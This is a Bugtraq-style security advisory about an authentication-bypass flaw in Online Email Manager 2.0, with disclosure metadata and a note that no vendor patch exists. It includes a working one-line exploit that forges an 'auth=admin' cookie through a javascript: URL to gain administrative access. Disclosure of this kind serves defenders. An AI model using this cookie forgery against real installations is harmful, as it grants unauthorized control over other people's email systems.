Online Email Manager Insecure Cookie Authentication Bypass Vulnerability

Bugtraq ID:	34591
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 17 2009 12:00AM
Updated:	Apr 20 2009 10:46PM
Credit:	Hussin X
Vulnerable:	esoftpro.com Online Email Manager 2.0
Not Vulnerable:

Online Email Manager Insecure Cookie Authentication Bypass Vulnerability

Online Email Manager is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks.

Online Email Manager 2.0 is vulnerable; other versions may also be affected.

Online Email Manager Insecure Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

Supplying the following cookie data is sufficient to exploit this issue:

javascript:document.cookie = "auth=admin; path=/";

Online Email Manager Insecure Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Online Email Manager Insecure Cookie Authentication Bypass Vulnerability

References:

• Online Email Manager Homepage (esoftpro.com)